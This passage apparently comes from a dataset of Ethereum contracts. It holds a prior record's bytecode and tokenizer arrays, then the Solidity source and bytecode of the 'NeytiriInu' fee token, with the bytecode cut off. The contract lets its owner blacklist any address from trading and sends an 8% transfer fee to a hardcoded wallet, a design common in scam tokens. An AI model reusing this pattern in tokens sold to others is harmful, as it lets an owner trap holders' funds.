529160200191610f53565b820191906000526020600020905b815481529060010190602001808311610f3657829003601f168201915b505050505081565b600082821115610f6a57600080fd5b818303905092915050565b6000610fc0600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f5b565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061104c600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611571565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080821161110c57600080fd5b81838161111557fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112df5780820151818401526020810190506112c4565b50505050905090810190601f16801561130c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561132e57600080fd5b505af1158015611342573d6000803e3d6000fd5b50505050600190509392505050565b60008183029050600083148061136f57508183828161136c57fe5b04145b61137857600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ff57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114a757600080fd5b505af11580156114bb573d6000803e3d6000fd5b505050506040513d60208110156114d157600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101561158557600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115e457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea2646970667358221220ed0e7e4bfa3f5e1ff877c7abdea71cd6389604be8ddb6feca0b02849e78059cd64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
2629,
27421,
2497,
22610,
2094,
2683,
2620,
2620,
2094,
12376,
2546,
2692,
26337,
2575,
2497,
2575,
2094,
2575,
2683,
2581,
2497,
2683,
27717,
22275,
5243,
23777,
21084,
2094,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
1020,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
6085,
16294,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,552 | 0x95563c026422ffb3c271313c7693802f28e11a64 | /**
NeytiriInu
https://t.me/neytiriinu
https://neytiriinuerc.com/
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NeytiriInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "NeytiriInu";
string private constant _symbol = "NeytiriInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xce93839535232D0294E6565BC3a040f9447B404C);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061276e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612838565b6104b4565b60405161018e9190612893565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128bd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a20565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a69565b61060d565b60405161021f9190612893565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612abc565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612b05565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b4c565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b79565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612abc565b6109dd565b60405161031991906128bd565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612bb5565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061276e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612838565b610c9e565b6040516103da9190612893565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b79565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bd0565b611380565b60405161046e91906128bd565b60405180910390f35b60606040518060400160405280600a81526020017f4e657974697269496e7500000000000000000000000000000000000000000000815250905090565b60006104c86104c1611407565b848461140f565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c5c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c7c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612cda565b91505061057b565b5050565b600061061a8484846115d8565b6106db84610626611407565b6106d68560405180606001604052806028815260200161371160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611407565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c699092919063ffffffff16565b61140f565b600190509392505050565b6106ee611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c5c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c5c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c5c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611407565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d91565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd565b9050919050565b610a36611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c5c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4e657974697269496e7500000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611407565b84846115d8565b6001905092915050565b610cc4611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c5c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611407565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e6b565b50565b610e18611407565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c5c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d6e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d6310000061140f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612da3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612da3565b6040518363ffffffff1660e01b815260040161109c929190612dd0565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612da3565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612e3e565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612eb4565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112426103e8611234600f68056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b600f819055506112796103e861126b601e68056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611339929190612f07565b6020604051808303816000875af1158015611358573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137c9190612f45565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590612fe4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490613076565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115cb91906128bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e90613108565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ad9061319a565b60405180910390fd5b600081116116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f09061322c565b60405180910390fd5b6000600a819055506008600b81905550611711610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177f575061174f610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118285750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61183157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118dc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119325750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561194a5750600e60179054906101000a900460ff165b15611a8857600f54811115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b90613298565b60405180910390fd5b601054816119a1846109dd565b6119ab91906132b8565b11156119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e39061335a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3757600080fd5b601e42611a4491906132b8565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b335750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b895750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9f576000600a819055506008600b819055505b6000611baa306109dd565b9050600e60159054906101000a900460ff16158015611c175750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2f5750600e60169054906101000a900460ff165b15611c5757611c3d81611e6b565b60004790506000811115611c5557611c5447611d91565b5b505b505b611c648383836120e4565b505050565b6000838311158290611cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca8919061276e565b60405180910390fd5b5060008385611cc0919061337a565b9050809150509392505050565b6000808303611cdf5760009050611d41565b60008284611ced91906133ae565b9050828482611cfc9190613437565b14611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d33906134da565b60405180910390fd5b809150505b92915050565b6000611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610